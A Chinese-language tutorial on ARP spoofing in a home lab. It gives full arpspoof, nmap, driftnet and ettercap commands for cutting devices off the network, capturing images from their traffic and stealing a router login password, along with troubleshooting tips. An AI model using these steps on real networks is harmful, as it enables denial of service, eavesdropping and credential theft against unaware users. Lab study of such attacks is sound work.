0x00 免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
0x01 前言
ARP 欺骗是针对以太网地址解析协议的一种攻击技术,通过欺骗局域网内访问者 PC 的网关 MAC 地址,使访问者 PC 错以为攻击者更改后的 MAC 地址是网关的 MAC ,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
0x02 ARP欺骗原理
ARP 协议是地址解析协议, ARP 协议的基本功能是通过目标 IP 来查询目标计算机的 MAC 地址,从而实现各个主机间流畅稳定的通信。因为早期的网络环境主机间是互相信任的。因此有人发现了 ARP 协议的设计缺陷利用 ARP 欺骗进行非法攻击。
目标主机接收到应答包之后并不会去验证是否发送过对应的请求包,却直接使用了通过 ARP 欺骗伪造的信息替换了本地 ARP 缓存表中 IP 地址与 MAC 地址的对应关系。
如果一个计算机需要和另一个计算机相互通信,那么需要相互知道互相的 MAC 地址,需要告诉对方这个数据帧的来历。然而目标 MAC 地址是通过 ARP 地址解析协议获得。 ARP 欺骗就是通过伪造 IP 地址和 MAC 地址实现的,在计算机网络中发出大量的 ARP 请求包来阻塞网络通信,出现多个 IP 地址共用一个 MAC 地址的情况。
0x03 环境说明
kali-linux虚拟机(192.168.1.9) |
windows 11笔记本(192.168.1.2) |
ipad mini6平板(192.168.1.8) |
redmi k40手机(192.168.1.4) |
vivo Y30手机(192.168.1.5) |
huawei 8手机(192.168.1.10) |
0x04 准备工作
文中使用 kali-linux 系统在虚拟机桥接网络的环境下进行示范。为什么不使用 NAT 模式:
NAT 模式下,虚拟机仅仅可以同路由器下网段中的一台真实机通讯,而这台真实机就是安装虚拟机的这台电脑,之所以可以通讯是因为这台电脑本身充当了虚拟机的路由器,采用 NAT 模式时,虚拟机和实体机交互并不是直接进行的。
Ⅰ查看Kali-linux虚拟机的IP地址
ip addr
Ⅱ查看Kali-linux虚拟机的网关地址
route -n
0x05 断网攻击
Ⅰ使用Nmap扫描192.168.1.1/24网段上有哪些主机是存活的
nmap -sP 192.168.1.1/24
Ⅱ安装dsniff工具集
apt install dsniff
Ⅲ使用arpspoof工具分别对目标IP实施arp欺骗
arpspoof -i eth0 -t 192.168.1.4 192.168.1.1 #-- -t 目标IP 目标网关 -i 网卡名 --
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
arpspoof -i eth0 -t 192.168.1.8 192.168.1.1
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
关于可能会遇到的Error:
ErrorⅠ:arpspoof: libnet_check_iface() ioctl: No such device
翻译:嗅探:libnet_check_iface()操作接口:没有这样的设备
问题原因:网卡名称错误
解决方法:使用 ip addr 或 ifconfig 重新检查网卡名称,一般情况下网卡名称为 eth0 。
ErrorⅡ:arpspoof: couldn’t arp for host 192.168.1.X
翻译:嗅探:无法对主机 192.168.1.X 进行 arp 欺骗
问题原因:1.IP无法互通
2.IP不在同一网段
3.IP地址错误
解决方法:使用 ping 命令检查目标IP是否能够互通,使用 ip addr 或 ifconfig 重新检查网卡名称,重新使用 nmap 扫描端口存活主机状态。
Ⅳ目标IP访问百度查看状态,发现均无法访问百度页面
|
|
|
0x06 持续监听-图片截取
ARP 攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,那么攻击者可以通过开启端口转发,实现对目标 IP 的持续监听。
Ⅰ开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward #--开启端口转发--
echo 0 > /proc/sys/net/ipv4/ip_forward #--关闭端口转发--
Ⅱ继续使用arpspoof工具实施arp欺骗,这里需要互换目标IP与目标网关
arpspoof -i ech0 -t 192.168.1.1 192.168.1.4
Ⅲ下载driftnet工具,获取数据流中的图片
apt install driftnet
Ⅳ使用driftnet获取目标IP数据流中的图片并保存到源目录
driftnet -i eth0 -a -d /usr/local/src
Ⅴ使用目标IP设备访问360漏洞云,发现源目录中自动下载了360漏洞云的logo
|
|
Ⅵ分别对平板以及笔记本进行持续监听,这里平板模拟受害者使用微信,笔记本则播放QQ音乐
演示环境: ipad mini6平板
|
|
演示环境: windows11 笔记本
|
|
0x07 持续监听-密码获取
Ⅰ继续使用arpspoof工具实施arp欺骗
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
Ⅱ使用ettercap工具提前对目标IP的数据进行监听
ettercap -Tq -i eth0
Ⅲ在windows11笔记本模拟登录电信智能网关
Ⅳ查看ettercap生成的结果,发现用户名和密码都被窃取
0x09 总结
由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。